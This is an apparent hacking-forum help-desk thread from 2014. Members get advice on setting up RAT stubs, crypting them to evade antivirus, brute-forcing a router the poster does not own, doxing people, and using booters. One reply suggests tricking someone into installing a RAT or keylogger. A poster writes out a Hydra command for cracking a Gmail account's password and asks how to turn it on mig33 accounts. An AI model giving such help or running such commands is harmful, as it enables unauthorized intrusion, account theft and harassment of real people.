Explain your problem the best you can:when i make a stub.exe and i click it nothing will happen i seen many tutorials and followd their steps but it wont work. it says 1604 is listening but when i got to canyouseeme.org it says he cannot see me. also in my Darkcomet folder there is no celesty binder.

Skype name:hemmoboy

hope u can help i got this trouble for over 1 year no one solved it!

Are you sure that you actually portforwarded "1604" on the right way?

Make sure your AV is off, make sure your Firewall won't block it etc.

Also, which RAT are you using?

If you have any further questions, feel free to ask.

Kind Regards?

The2G - February 26, 2014, 2:50 am

(Feb 24, 2014 04:00 PM)Rap!st Wrote: [\[CITE\]](#)

Use the windows button + R, type cmd in the input field and the command prompt should start running. type "ipconfig" in it and search for the IPv4 adress which is mostly something like '192.168.0.100'

As example when your IPv4 is "192.168.0.100" open up your browser and type: 192.168.0.1 in the adressbar.

It should ask for an username and password. The default password is mostly one of the following:

Username: user

Password: user

Username: admin

Password: admin

Hope this helped you out,

Rapist?

Yes I tried to use the default login credentials of cisco routers but nothing happened. I never know the pass... I want to get it ?

So I wasm beeing reading Hydra and metasploit guides, but I not able to so that kind of attacks yet. So I hope you can help me ;)

PD: The acces form says: level_15_access may help while cracking the pass

TheGrayAviator - February 26, 2014, 2:56 am

(Feb 26, 2014 03:50 AM)Rubba Wrote: [\[CITE\]](#) Yes I tried to use the default login credentials of cisco routers but nothing happened. I never know the pass... I want to get it ?

So I wasm beeing reading Hydra and metasploit guides, but I not able to so that kind of attacks yet. So I hope you can help me ;)

PD: The acces form says: level_15_access may help while cracking the pass
See if you can find the password for you router in this website.

<http://www.routerpasswords.com/>

The2G - February 26, 2014, 3:08 am

(Feb 26, 2014 03:56 AM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) See if you can find the password for you router in this website.

<http://www.routerpasswords.com/>

No is not there. I'll try using THC Hydra... Hope I could found it.

TheGrayAviator - February 26, 2014, 3:29 am

(Feb 26, 2014 04:08 AM)Rubba Wrote: [\[CITE\]](#) No is not there. I'll try using THC Hydra... Hope I could found it.

If the password has been changed on the router, your chances of cracking it will not be too successful.

Especially, if the password is not in the dictionary file.

The2G - February 26, 2014, 3:44 am

(Feb 26, 2014 04:29 AM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) If the password has been changed on the router, your chances of cracking it will not be too successful.

Especially, if the password is not in the dictionary file.

Soo what should I do? I mean, how can I get the password of the control panel?

Komodo - February 26, 2014, 5:14 am

(Feb 26, 2014 04:44 AM)Rubba Wrote: [\[CITE\]](#) Soo what should I do? I mean, how can I get the password of the control panel?If you can not find the Router Password, then you can not Port Forward. I recommend you get something like a VPN. Try out 143VPN, it keeps no logs and supports Port Forwarding.

Goodies - February 26, 2014, 6:40 am

(Feb 26, 2014 04:44 AM)Rubba Wrote: [\[CITE\]](#) Soo what should I do? I mean, how can I get the password of the control panel?

Beginning hackers have this tendency to think that you will 100% of the time be successful in any hacking endeavor.

The2G - February 26, 2014, 7:05 am

(Feb 26, 2014 07:40 AM)Goodies Wrote: [\[CITE\]](#) Beginning hackers have this tendency to think that you will 100% of the time be successful in any hacking endeavor.

Yes I am a beginning hacker, but I don't think that in all the cases will have a successful attack or hack. I'm only asking how can I do to crack that pass. I know it won't be easy and may be I won't be able to do at now with my actual skills. Thats the reason I'm posting here, because I don't know how to do it.

As a fact, I'm not the owner of the router, only want to enter the control panel to edit some stuff and unblock some features.

(Feb 26, 2014 06:14 AM)Komodo Wrote: [\[CITE\]](#) If you can not find the Router Password, then you can not Port Forward. I recommend you get something like a VPN. Try out 143VPN, it keeps no logs and supports Port Forwarding.

Thats the crack ;). I even try to used a free vpn but the router don't let me using... The router blocks that type of connections I guess.

Aceman - February 26, 2014, 8:41 am

Subscribed to this thread so that I can keep reading everything. I don't have any specific questions myself just yet but I'm always interested in learning. Thanks for providing this help desk for people, it's a great thing that you guys do to help out all us noobies ^_^

-zERaIT - February 26, 2014, 9:38 am

(Feb 26, 2014 08:05 AM)Rubba Wrote: [\[CITE\]](#) Yes I am a beginning hacker, but I don't think that in all the cases will have a successful attack or hack. I'm only asking how can I do to crack that pass. I know it won't be easy and may be I won't be able to do at now with my actual skills. Thats the reason I'm posting here, because I don't know how to do it.

As a fact, I'm not the owner of the router, only want to enter the control panel to edit some stuff and unblock some features.

Thats the crack ;). I even try to used a free vpn but the router don't let me using... The router blocks that type of connections I guess.

So, to get everything straight. You want acces on someone else he's router, but you don't know the login credentials. You tried using a VPN but your router is blocking this connection in some way.

If I may ask, what are you trying to change in your router?

If we know this we might come to a solution.

(Feb 26, 2014 09:41 AM)Aceman Wrote: [\[CITE\]](#) Subscribed to this thread so that I can keep reading everything. I don't have any specific questions myself just yet but I'm always interested in learning. Thanks for providing this help desk for people, it's a great thing that you guys do to help out all us noobies ^_^

Goodjob, hope you'll learn a lot while reading problems and solutions in our helpdesk.

Kind Regards?

Jinxx - February 26, 2014, 10:03 am

Can you please help me with Doxing and Account Hacking

Rap!st - February 26, 2014, 10:53 am

(Feb 26, 2014 11:03 AM)Jinxx Wrote: [\[CITE\]](#) Can you please help me with Doxing and Account Hacking

Please fill in the form in order to get some support with your problem.

Rapist?

(Feb 26, 2014 09:41 AM)Aceman Wrote: [\[CITE\]](#) Subscribed to this thread so that I can keep reading everything. I don't have any specific questions myself just yet but I'm always interested in learning. Thanks for providing this help desk for people, it's a great thing that you guys do to help out all us noobies ^_^

Nice to see you like the helpdesk. Feel free to contact us whenever you do need help though.

Rapist?

PugsleyHF - February 26, 2014, 11:16 am

No Thanks

<https://gyazo.com/af83ddf33bffdec11208c3cf334ffbce>

Jinxx - February 26, 2014, 11:17 am

What is your question/problem: I have lost some accounts to other people and want to find out how to get them back. I would also like some help with Doxing and what booters I should use.

Explain your problem the best you can: I just need help for the above.

Skype name: JinxxOG or tomgibbins12345678910

The2G - February 26, 2014, 12:12 pm

(Feb 26, 2014 10:38 AM)MaskedMyS Wrote: [\[CITE\]](#) So, to get everything straight. You want access on someone else he's router, but you don't know the login credentials. You tried using a VPN but your router is blocking this connection in some way.

If I may ask, what are you trying to change in your router?

If we know this we might come to a solution.

Kind Regards?

Well, I want that credentials to unblock some ports and enable port forwarding... I think that the router is configured to block all kind of connections except the ports 80 and 21 as I have tested. So may be is a possibility do to it without having access.

Thanks!

-zERaIT - February 26, 2014, 12:27 pm

(Feb 26, 2014 12:17 PM)Jinxx Wrote: [\[CITE\]](#) What is your question/problem: I have lost some accounts to other people and want to find out how to get them back. I would also like some help with Doxing and what booters I should use.

Explain your problem the best you can: I just need help for the above.

Skype name: JinxxOG or tomgibbins12345678910

Added you on Skype, I can help you out with Doxing people and I could give you some advice on booters / stressers.

Kind Regards?

(Feb 26, 2014 01:12 PM)Rubba Wrote: [\[CITE\]](#) Well, I want that credentials to unblock some ports and enable port forwarding... I think that the router is configured to block all kind of connections except the ports 80 and 21 as I have tested. So may be is a possibility do to it without having access.

Thanks!

You could try a VPS(Virtual Private Server), most of the ports are already forwarded on that, but you won't get any for free(As for as I know).

I just looked a bit around my own router, and it has a reset function. If you use this you'll get your standard user credentials back. You could try this out?

Kind Regards?

Komodo - February 26, 2014, 4:01 pm

Bumping this up to the top. Post some questions, we will answer them.

TheGrayAviator - February 26, 2014, 4:19 pm

(Feb 26, 2014 08:05 AM)Rubba Wrote: [\[CITE\]](#) As a fact, I'm not the owner of the router, only want to enter the control panel to edit some stuff and unblock some features.

Thats the crack ;). I even try to used a free vpn but the router don't let me using... The router blocks that type of connections I guess.

Unfortunately, there isn't much that you can do. Unless you really know your target.

You could try to built a wordlist based on the information you've acquired from it.

GrizzlyBear - February 26, 2014, 4:49 pm

What is your question/problem: How can i dox someone's IP? I have his homeadress, phonenumber, first and last name, I am from holland.

Explain your problem the best you can: I have no problem currently, Only a question.

Skype name: If u dont mind, I would give this in PM, Just post here or PM me please.

Thank you very much :)

Goodies - February 26, 2014, 5:19 pm

(Feb 26, 2014 05:49 PM)GrizzlyBear Wrote: [\[CITE\]](#) What is your question/problem: How can i dox someone's IP? I have his homeadress, phonenumber, first and last name, I am from holland.

Explain your problem the best you can: I have no problem currently, Only a question.

Skype name: If u dont mind, I would give this in PM, Just post here or PM me please.

Thank you very much :)

Well, you can't with JUST that information. Their ISP is the only one who knows their IP and if it's a dynamic IP you'll have almost NO luck...

What I'd do is send them an email, wait for a reply, and check the email headers...

GrizzlyBear - February 26, 2014, 5:23 pm

(Feb 26, 2014 06:19 PM)Goodies Wrote: [\[CITE\]](#) Well, you can't with JUST that information. Their ISP is the only one who knows their IP and if it's a dynamic IP you'll have almost NO luck...

What I'd do is send them an email, wait for a reply, and check the email headers...What exactly are the emailheaders? I can get this guy to email me back.

Thank you for your reply :).

Pernille - February 26, 2014, 5:43 pm

What is your question/problem: I already setup my RAT but nobody's opening it, as it's not crypted.

Explain your problem the best you can: Would you be able to help me crypt my stub?

Skype name: Psychological_2

Komodo - February 26, 2014, 5:44 pm

(Feb 26, 2014 06:43 PM)Psycho Logical Wrote: [\[CITE\]](#) What is your question/problem: I already setup my RAT but nobody's opening it, as it's not crypted.

Explain your problem the best you can: Would you be able to help me crypt my stub?

Skype name: Psychological_2We do not offer a Crypting Service. You have to purchase a Crypter. I recommend [DataScrambler](#) or [Razor Crypt](#).

Goodies - February 26, 2014, 5:51 pm

(Feb 26, 2014 06:23 PM)GrizzlyBear Wrote: [\[CITE\]](#) What exactly are the emailheaders? I can get this guy to email me back.

Thank you for your reply :).

Well, email runs on SMTP to send TO the server and POP to get it FROM the server. SMTP will usually use your IP to send the email. The recipient can see the message headers.

Go to your email. In my case, an old hotmail account:

Click on a message:

Click "Action" and "View Message Source" or "Message Options" or whatever it may say for your client:

Maya Badmash - February 26, 2014, 7:43 pm

hmm I Asked The Same Questions In Your Other Helping Thread In website Hacking Section But I Guess You were Bzy Enough :) So Asking The Same Here.

1. Can you guys provide me with some links what all i want is this:
if website is not vulnerable to common attacks like SQLI, XSS, LFI, RFI then is there any method to shell that particular site ? means how to exploit running services and yeah one more thing don't want symlinking and rooting tut's
2. Also one more question sorry if this sounds newbish :P lets say i am hacking into a website i have spoofed my ip as well as mac address then what are the possible ways i can get caught ????
3. also hmmm leme think what to ask :P another noob ques if i am not connected to internet then also i have a ip ??? if yea then while hacking do i need to spoof that one too and yes how to view that ip and how to spoof too and what is the diff bw that ip and the ip provided by my ISP thanks :)

Spider Venom - February 26, 2014, 8:17 pm

I feel silly asking this, but what exactly is a crypter?

An can you please explain what is an FUD? I remember reading about FUD the other day an I got it, but I can't seem to remember what it was or the thread I was reading.

Goodies - February 26, 2014, 8:22 pm

(Feb 26, 2014 09:17 PM)KingBob Wrote: [\[CITE\]](#) I feel silly asking this, but what exactly is a crypter?

An can you please explain what is an FUD? I remember reading about FUD the other day an I got it, but I can't seem to remember what it was or the thread I was reading.

Ahh... Well, when a virus loads, it's often detected during the transition from disk to memory. A crypter not only encrypts a virus' executable opcode, but loads it into memory after the main file has already been loaded.

This means that when a file is loaded and not detected, it can load encrypted data, decrypt it, and execute it.

FUD = Fully UnDetectable. Basically, it just means that no antivirus (currently) detects it.

1nsan3 0n3 - February 26, 2014, 9:01 pm

I was hacked on the RPG game tibia played online. I am looking for ANY and ALL help I could get to possibly be able to obtain the account back.

I still have the account name but the password has been changed.

It's a possibility that the account name has been changed also.

I could really use someones help with this.

If you could be of some assistance, please respond to me either on this thread or in a PM.

It will be greatly appreciated!

Thanks in advanced!

(also just obtained the new email address which actually is a yahoo email address to the account but cant access it... any help would be great thanks)

Tracked - February 26, 2014, 9:09 pm

(Feb 19, 2014 07:29 PM)Goodies Wrote: [\[CITE\]](#) There are literally more booters than virgins in this forum. You'll have no trouble finding one in the [Marketplace](#).

? "There are literally more booters than virgins in this forum" I probably laughed harder then I should have.

Pillows - February 26, 2014, 9:12 pm

(Feb 26, 2014 10:01 PM)1nsan3 0n3 Wrote: [\[CITE\]](#) I was hacked on the RPG game tibia played online. I am looking for ANY and ALL help I could get to possibly be able to obtain the account back.

I still have the account name but the password has been changed.

It's a possibility that the account name has been changed also.

I could really use someones help with this.

If you could be of some assistance, please respond to me either on this thread or in a PM.

It will be greatly appreciated!

Thanks in advanced!

(also just obtained the new email address which actually is a yahoo email address to the account but cant access it... any help would be great thanks)

Have you tried doing some research on the person who owns the email address. Best thing you can do now is try to get some information and try to reset the yahoo email address password by

correctly answering the secret question.

Th3PonyWizard - February 26, 2014, 9:13 pm

(Feb 26, 2014 08:43 PM)Maya Badmash Wrote: [\[CITE\]](#) hmm I Asked The Same Questions In Your Other Helping Thread In website Hacking Section But I Guess You were Bzy Enough :) So Asking The Same Here.

1. Can you guys provide me with some links what all i want is this:
if website is not vulnerable to common attacks like SQLI, XSS, LFI, RFI then is there any method to shell that particular site ? means how to exploit running services and yeah one more thing don't want symlinking and rooting tut's

2. Also one more question sorry if this sounds newbish :P lets say i am hacking into a website i have spoofed my ip as well as mac address then what are the possible ways i can get caught ????

3. also hmmm leme think what to ask :P another noob ques if i am not connected to internet then also i have a ip ??? if yea then while hacking do i need to spoof that one too and yes how to view that ip and how to spoof too and what is the diff bw that ip and the ip provided by my ISP thanks :)1) Yeah. There's dozens of attack methods, don't narrow your target into it's web address only. Try to assume it is hosted on a shared plan and figure out whoever at it as well through Reverse IP lookup.

2) Your MAC address doesn't have a lot to do here, your browser doesn't pass it. It depends who you're attacking, really. Some websites will go after you and will get you at all costs.

3) The IP you had stays until X amount of time is reached, then it gets renewed when you go online again. It'll be the same IP until it gets renewed, and you don't need to worry about that one as when you're offline it is a dead-end.

1nsan3 0n3 - February 26, 2014, 9:16 pm

(Feb 26, 2014 10:12 PM)Pillows Wrote: [\[CITE\]](#) Have you tried doing some research on the person who owns the email address. Best thing you can do now is try to get some information and try to reset the yahoo email address password by correctly answering the secret question.

The problem is, it is not my email... it is the person who hacked the accounts email address and it is set to send to another email when looking for a new password...

Pillows - February 26, 2014, 9:23 pm

(Feb 26, 2014 10:16 PM)1nsan3 0n3 Wrote: [\[CITE\]](#) The problem is, it is not my email... it is the person who hacked the accounts email address and it is set to send to another email when looking for a new password...

There's really not much you can do in a situation like this. You could possibly get the owner to somehow download a RAT or keylogger but that's it.

1nsan3 0n3 - February 26, 2014, 9:25 pm

(Feb 26, 2014 10:23 PM)Pillows Wrote: [\[CITE\]](#) There's really not much you can do in a situation like this. You could possibly get the owner to somehow download a RAT or keylogger but that's it.
and how exactly would i go about doing these things in which you speak of?

Pillows - February 26, 2014, 9:31 pm

(Feb 26, 2014 10:25 PM)1nsan3 0n3 Wrote: [\[CITE\]](#) and how exactly would i go about doing these things in which you speak of?

[Remote Administration Tools](#)

Read up about RATS in that section.

soumyabuchan - February 26, 2014, 9:33 pm

in my laptop i can't activate eth0 in kali linux... when i live boot into it.. from a USB stick... but in same USB stick my desktop is showing the eth0 device ... what going wrong with my lappy..... help me :)

Terry A. Davis - February 26, 2014, 9:35 pm

(Feb 26, 2014 10:33 PM)soumyabuchan Wrote: [\[CITE\]](#) in my laptop i can't activate eth0 in kali linux... when i live boot into it.. from a USB stick... but in same USB stick my desktop is showing the eth0 device ... what going wrong with my lappy..... help me :)

Eth0 means Ethernet, or Wire. First make sure you have a wire plugged in.

Open terminal and try try this "ifconfig eth0 up" if it fails for any reason install your cards drivers.

#Sorry for Posting when I am not in Empire.

1nsan3 On3 - February 26, 2014, 9:43 pm

(Feb 26, 2014 10:31 PM)Pillows Wrote: [\[CITE\]](#) [Remote Administration Tools](#)

Read up about RATS in that section.
thanks for your help my friend.

I will definitely look into it bud.
I appreciate everything you've helped me with thus far!
:D

TheGrayAviator - February 27, 2014, 12:21 am

(Feb 26, 2014 10:33 PM)soumyabuchan Wrote: [\[CITE\]](#) in my laptop i can't activate eth0 in kali linux... when i live boot into it.. from a USB stick... but in same USB stick my desktop is showing the eth0 device ... what going wrong with my lappy..... help me :)

Sounds like you don't have the correct drivers installed.

Maya Badmash - February 27, 2014, 1:59 am

(Feb 26, 2014 10:13 PM)Th3PonyWizard Wrote: [\[CITE\]](#) 1) Yeah. There's dozens of attack methods, don't narrow your target into it's web address only. Try to assume it is hosted on a shared plan and figure out whoever at it as well through Reverse IP lookup.

2) Your MAC address doesn't have a lot to do here, your browser doesn't pass it. It depends who you're attacking, really. Some websites will go after you and will get you at all costs.

3) The IP you had stays until X amount of time is reached, then it gets renewed when you go online again. It'll be the same IP until it gets renewed, and you don't need to worry about that one as when you're offline it is a dead-end.

Sorry but i guess you don't answers my questions ?

1. you are telling me about symlinking i wanna have links for tut/ tricks/ methods for exploiting running services and finding vuln in servers .. . ?

2. i was asking about the method if i spoof my mac and ip then how may i get caught, you said some websites(big one's) will go after me but how if i spoof my ip and mac both

3. really unable to understand what you said :(

TheGrayAviator - February 27, 2014, 2:41 am

(Feb 27, 2014 02:59 AM)Maya Badmash Wrote: [\[CITE\]](#) Sorry but i guess you don't answers my questions ?

1. you are telling me about symlinking i wanna have links for tut/ tricks/ methods for exploiting running services and finding vuln in servers .. . ?

2. i was asking about the method if i spoof my mac and ip then how may i get caught, you said some websites(big one's) will go after me but how if i spoof my ip and mac both

3. really unable to understand what you said :(

1) You're already trying to do advanced things, when you're clearly lack the basics. I'd first recommend you to learn the basics of Pen-testing, before doing or trying anything else.

2) Do a bit of research into anonymity, here's a link to help you out a bit

<http://security.stackexchange.com/questions/29196/how-to-remain-100-anonymous-on-the-internet>

Th3PonyWizard - February 27, 2014, 5:12 am

(Feb 27, 2014 02:59 AM)Maya Badmash Wrote: [\[CITE\]](#) Sorry but i guess you don't answers my questions ?

1. you are telling me about symlinking i wanna have links for tut/ tricks/ methods for exploiting running services and finding vuln in servers ... ?

2. i was asking about the method if i spoof my mac and ip then how may i get caught, you said some websites(big one's) will go after me but how if i spoof my ip and mac both

3. really unable to understand what you said :(I am answering them, you've yet to fully understand them.

1) Tricks and tutorials are shit. Go learn linux.

2) They have ways. First of all, you don't "Spoof" your IP, you gateway it through proxies and VPNs. They'll just go after the VPN and get the logs of it through law.

3) Your English is horrible then.

Maya Badmash - February 27, 2014, 8:58 am

(Feb 27, 2014 06:12 AM)Th3PonyWizard Wrote: [\[CITE\]](#) I am answering them, you've yet to fully understand them.

1) Tricks and tutorials are shit. Go learn linux.

2) They have ways. First of all, you don't "Spoof" your IP, you gateway it through proxies and VPNs. They'll just go after the VPN and get the logs of it through law.

3) Your English is horrible then.

1.) buddy i know the basics well :) and i too know the basic usage of linux i was asking for tut's only coz (a) they will help me in better understanding (b) i don't know even know about the method of shelling a site if it's not vuln to basic xss, sqli, sym, rce . . :(that's why i was asking for tut's

2.) in this question actually what i was asking is "what you guys think how a hacker can be caught if he hide/spoofed his IP using a strong VPN" i wanna know your ways , your ideas how can we catch such person :)

One more question added i heard that if i have google.com opened in one tab and i am surfing in other tabs leaving that opened then google traces my activites whatever i'm doing ? is it true ? plz elaborate this one

Komodo - February 27, 2014, 3:51 pm

(Feb 27, 2014 09:58 AM)Maya Badmash Wrote: [\[CITE\]](#) 1.) buddy i know the basics well :) and i too know the basic usage of linux i was asking for tut's only coz (a) they will help me in better understanding (b) i don't know even know about the method of shelling a site if it's not vuln to basic xss, sqli, sym, rce . . :(that's why i was asking for tut's

2.) in this question actually what i was asking is "what you guys think how a hacker can be caught if he hide/spoofed his IP using a strong VPN" i wanna know your ways , your ideas how can we catch such person :)

One more question added i heard that if i have google.com opened in one tab and i am surfing in other tabs leaving that opened then google traces my activites whatever i'm doing ? is it true ? plz elaborate this oneI have answers, for most of your issues.

#1) Go to the Linux Section, great tutorials. [Link](#)

#2) If the user is using a strong VPN, with no logs etc. It would be very difficult to find such a user. All the good VPN's keep no logs, so even if you asked to owner you would not be able to get such information.

For your Google question, I do not think so. I'm sure Google has more than enough power to do this, I highly doubt it. So many people use Google at the same time, it would take 1000's of people to monitor everyone at the same time. I am not 100% sure about this, but it is what I believe.

TheGrayAviator - February 27, 2014, 4:12 pm

(Feb 27, 2014 09:58 AM)Maya Badmash Wrote: [\[CITE\]](#) One more question added i heard that if i have google.com opened in one tab and i am surfing in other tabs leaving that opened then google traces my activites whatever i'm doing ? is it true ? plz elaborate this one

If you are really that paranoid, I'd use Chrome's Incognito mode. It makes sure that no cookies or history are left behind.

In addition, if you use a good VPN you should be safe. Provided you're not using flash in your browser a lot, as they can potentially leak your IP address.

Goodies - February 27, 2014, 4:17 pm

(Feb 27, 2014 05:12 PM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) If you are really that paranoid, I'd use Chrome's Incognito mode. It makes sure that no cookies or history are left behind.

In addition, if you use a good VPN you should be safe. Provided you're not using flash in your browser a lot, as they can potentially leak your IP address.

To protect from google, use google's software.

#Illuminatilluminatilluminati

iFind - February 27, 2014, 4:57 pm

What is your question/problem: Remaining hidden using Aircrack-ng

Explain your problem the best you can: So, my experience with any kind of WEP cracking is minimal, other then following the steps to get to the end result. When using a tool like Aircrack-ng, is it a discreet process? Or are red flags popping up as soon as you being to gather data?

Like I already said, my knowledge of how it works is pretty small, so if anyone wanted to go into further detail as to how and why it works, that would be great.

Skype name: I don't use Skype, PM me on the forums.

Goodies - February 27, 2014, 5:17 pm

(Feb 27, 2014 05:57 PM)???? Wrote: [\[CITE\]](#) What is your question/problem: Remaining hidden using Aircrack-ng

Explain your problem the best you can: So, my experience with any kind of WEP cracking is minimal, other then following the steps to get to the end result. When using a tool like Aircrack-ng, is it a discreet process? Or are red flags popping up as soon as you being to gather data?

Like I already said, my knowledge of how it works is pretty small, so if anyone wanted to go into further detail as to how and why it works, that would be great.

Skype name: I don't use Skype, PM me on the forums.

I mean, yeah, when you're cracking WEP or WPA/2, you're actively probing their router. If they're running something like wireshark capturing RFz, your MAC will be used. You can clone your MAC,

but I'm not going to guarantee that it will work simply because I don't know if it can work via a virtual MAC using your NIC.

Your MAC is specific to you, IE no one else has your MAC. However, companies do not keep track of which MAC goes where...

MAC addrs are 48 bits -> 2^{48} -> 281,474,976,710,656 addresses. That's hundreds of thousands of times the number of people on this earth and I don't see this outlasting the human species.

TheGrayAviator - February 27, 2014, 5:31 pm

(Feb 27, 2014 05:57 PM)???? Wrote: [\[CITE\]](#) What is your question/problem: Remaining hidden using Aircrack-ng

Explain your problem the best you can: So, my experience with any kind of WEP cracking is minimal, other then following the steps to get to the end result. When using a tool like Aircrack-ng, is it a discreet process? Or are red flags popping up as soon as you being to gather data?

Like I already said, my knowledge of how it works is pretty small, so if anyone wanted to go into further detail as to how and why it works, that would be great.

Skype name: I don't use Skype, PM me on the forums.

It's impossible to remain hidden in a Wireless Network. Your wireless adapter will constantly be sending out probes.

In addition, your MAC address will be visible and letting everyone else know that you are there.

iFind - February 27, 2014, 11:37 pm

Is there a way to specify which wireless network you want to crack on Aircrack-ng specifically? I'm trying to test it out on my own router but I'm picking up nearby routers as well. Also, I'm guessing that you retrieve data faster the closer you are to the router, is that true?

Rap!st - February 28, 2014, 12:19 am

(Feb 28, 2014 12:37 AM)???? Wrote: [\[CITE\]](#) Is there a way to specify which wireless network you want to crack on Aircrack-ng specifically? I'm trying to test it out on my own router but I'm picking up nearby routers as well. Also, I'm guessing that you retrieve data faster the closer you are to the router, is that true?

Please ask your questions with the usage of the form provided in the first post in order to get an answer.

Rapist?

Goodies - February 28, 2014, 12:23 am

(Feb 28, 2014 12:37 AM)???? Wrote: [\[CITE\]](#) Is there a way to specify which wireless network you want to crack on Aircrack-ng specifically? I'm trying to test it out on my own router but I'm picking up nearby routers as well. Also, I'm guessing that you retrieve data faster the closer you are to the router, is that true?

Yes...

When you first run airodump-ng, you are picking up all signals in your area. The point of that is to find out information of your true target so that you can specify which one you want to listen to. That way, you can capture packets ONLY relevant to the connection you're trying to crack.

As for the data faster the closer you are, that only applies to airodump-ng and aireplay-ng. Upon running aircrack (this is for WPA because I honestly don't remember how to do WEP off the top of my head. No wireless I've ever legitimately pentested has been WPA/2) you don't need to be

connected to them as you're just testing it against a file locally...

iFind - February 28, 2014, 12:35 am

(Feb 28, 2014 01:19 AM)Rap!st Wrote: [\[CITE\]](#) Please ask your questions with the usage of the form provided in the first post in order to get an answer.

Rapist?

I've already asked the question in a form, it's a bit silly to continue to re-post a new form if I'm on the same topic.

@Goodies,

Alright, I think I have a bit of an understanding now.

--

Actually, in my second post I meant to say airodump-ng not Aircrack-ng. Sorry if that caused some confusion.

Maya Badmash - February 28, 2014, 1:34 am

I was looking for a answer like this for my 1st question don't know why you guys leading me to learn linux :/ i mean if there exist no basic attacks on website like sql, xss, rce .. how can we deface that using linux ? :/

"First step: Gather information (everything about the website, the owner, the server details etc.)

Second step: Performing basic attacks (Testing for SQLi, XSS, LFI, CSRF etc) through GET and POST method

Third Step: If no vulns found, time to go for the server. Getting the server details using something like Nmap to scan for ports, the OS being used, the services that are being run by their server etc.

Fourth step: If vuln found, exploit it and get control as much as you can. Even the slightest vuln can be deadly

Fifth: Keep it to yourself and don't let others know what you do

This are the 5 basic steps of penetration testing coming from a penetration tester's perspective"

thanks to Zayne for my 1. answer :)

And as for my 2nd question i was asking about your opinions or ways how a hacker can be caught if he spoofed his ip/mac

this is my opinion for that

" first finding patterns of useragent used in attacking, then if its not from proxy website but are zombied attack then getting ip of zombied server and then looking for logs of who connected to zombied server, as all servers are usually behind switches or routers, so getting logs from those switches, even if that doesn't work then getting logs from firewall of datacenter where that vps or rdp is physically located"

@Greyhat.Infiltrator i was asking about your opinions or what you guys think about my question on google as i have heard this from guys from cyber cell i know i can be safe from getting tracked by using either private browsing in firefox or by using Opera but not in google incognito. so what you think guys is google tracking our activities if we leave google open in one tab??

Rap!st - February 28, 2014, 1:35 am

(Feb 28, 2014 01:35 AM)???? Wrote: [\[CITE\]](#) I've already asked the question in a form, it's a bit silly to continue to re-post a new form if I'm on the same topic.

@Goodies,

Alright, I think I have a bit of an understanding now.

--

Actually, in my second post I meant to say airodump-ng not Aircrack-ng. Sorry if that caused some confusion.

My excuses for that haven't seen your old post.

Rapist?

TheGrayAviator - February 28, 2014, 1:54 am

(Feb 28, 2014 12:37 AM)???? Wrote: [\[CITE\]](#) Is there a way to specify which wireless network you want to crack on Aircrack-ng specifically? I'm trying to test it out on my own router but I'm picking up nearby routers as well.

Yes there is a way, when using Airodump-ng you need to specify the MAC address of the AP you are targeting and the channel that AP is operating on.

Code airodump-ng --bssid <MAC address of AP> --channel <Channel of the AP> -w <location to save .cap file> mon0

The above command will tell Airodump-ng to monitor one AP only.

(Feb 28, 2014 02:34 AM)Maya Badmash Wrote: [\[CITE\]](#) @Greyhat.Infiltrator i was asking about your opinions or what you guys think about my question on google as i have heard this from guys from cyber cell i know i can be safe from getting tracked by using either private browsing in firefox or by using Opera but not in google incognito. so what you think guys is google tracking our activities if we leave google open in one tab??

Don't use Google Chrome, I'd use Firefox and strip down any add ons it has. Just like the TOR bundle browser.

Komodo - February 28, 2014, 5:20 am

Bumping this back up to the top. Thanks to all members of this Help Desk, for all the HQ help.

Th3PonyWizard - February 28, 2014, 6:18 am

(Feb 28, 2014 02:34 AM)Maya Badmash Wrote: [\[CITE\]](#) And as for my 2nd question i was asking about your opinions or ways how a hacker can be caught if he spoofed his ip/mac this is my opinion for that(You keep talking about MAC address, it's completely unrelated to website exploitation. Why? let it be.)

It's a dumb question, let me explain you why. We can't POSSIBLY know all the ways of you being traced down by a governmental agency as we're not part of it. The sole fact of us being able to answer hints that we know all the ways and that's incorrect. If you're using a proxy (That's what I assume you do, when you talk about spoofing your IP. Another incorrect terminology. You don't spoof your IP, spoofing is editing the package source and that's impossible as it is being validated. You're GATEWAYING your IP.), maybe the website is using X_FORWARDED_FOR flag header to detect any transparent proxies? Maybe an IDS collects any attack patterns through it's way to the ISP as you're launching it against gov attacks? If, and If, and If. We can't possibly know. Don't do stupid shit and you won't find out, either.

(Feb 28, 2014 02:34 AM)Maya Badmash Wrote: [\[CITE\]](#) I was looking for a answer like this for my 1st question don't know why you guys leading me to learn linux :/ i mean if there exist no basic attacks on website like sql, xss, rce .. how can we deface that using linux ? :/To learn about Symbolic Linking and all privilege escalation related attacks of which you attack a nearby website to gain access to your own target.

Maya Badmash - February 28, 2014, 7:51 am

(Feb 28, 2014 07:18 AM)Th3PonyWizard Wrote: [\[CITE\]](#) (You keep talking about MAC address, it's completely unrelated to website exploitation. Why? let it be.)

So there is no need to hide or change mac address ?? means they can't track us using mac ?? or what ?

Th3PonyWizard - February 28, 2014, 8:36 am

(Feb 28, 2014 08:51 AM)Maya Badmash Wrote: [\[CITE\]](#) So there is no need to hide or change mac address ?? means they can't track us using mac ?? or what ? Your browser doesn't display your MAC address as far as I'm concerned, meaning website owners can't figure out that piece of information. You spoof your MAC address when you're trying to hack wireless networks of the sort.

Goodies - February 28, 2014, 8:36 am

(Feb 28, 2014 08:51 AM)Maya Badmash Wrote: [\[CITE\]](#) So there is no need to hide or change mac address ?? means they can't track us using mac ?? or what ?

No -__- unless websites are running something client side, they cannot know your MAC address.

Here's what happens in a network:

1. You have a local IP and subnet mask.
2. You do a DNS look up for domain.com which results in 5.5.4.4
3. Your computer recognizes that this is NOT in the subnet he's using so he sends it to the default gateway's MAC address
4. Routers do not simply forward packets like a switch. They recreate them when changing interfaces.
5. Upon this change, the packet's source IO is changed to that of your router as is the source MAC address.
6. No matter what local computer visits the website, the packet's source MAC is that of the router.

Hope that clears things up.

mac4you - February 28, 2014, 8:38 am

PLEASE SOMEONE HELP ME OUT ,, I HAVE USED HYDRA in BACKTRACK FOR PASSWORD CRACK GMAIL AND I USED hydra -S -l target@gmail.com -P /pentest/passwords/wordlists/hotmail.txt -e ns -V -s 465 smtp.gmail.com smtp << it worked and tried ro crack ,,, BUT i wanna crack www.mig33.com accounts , WHAT SHOULD I WRITE COMMAND NOW ??

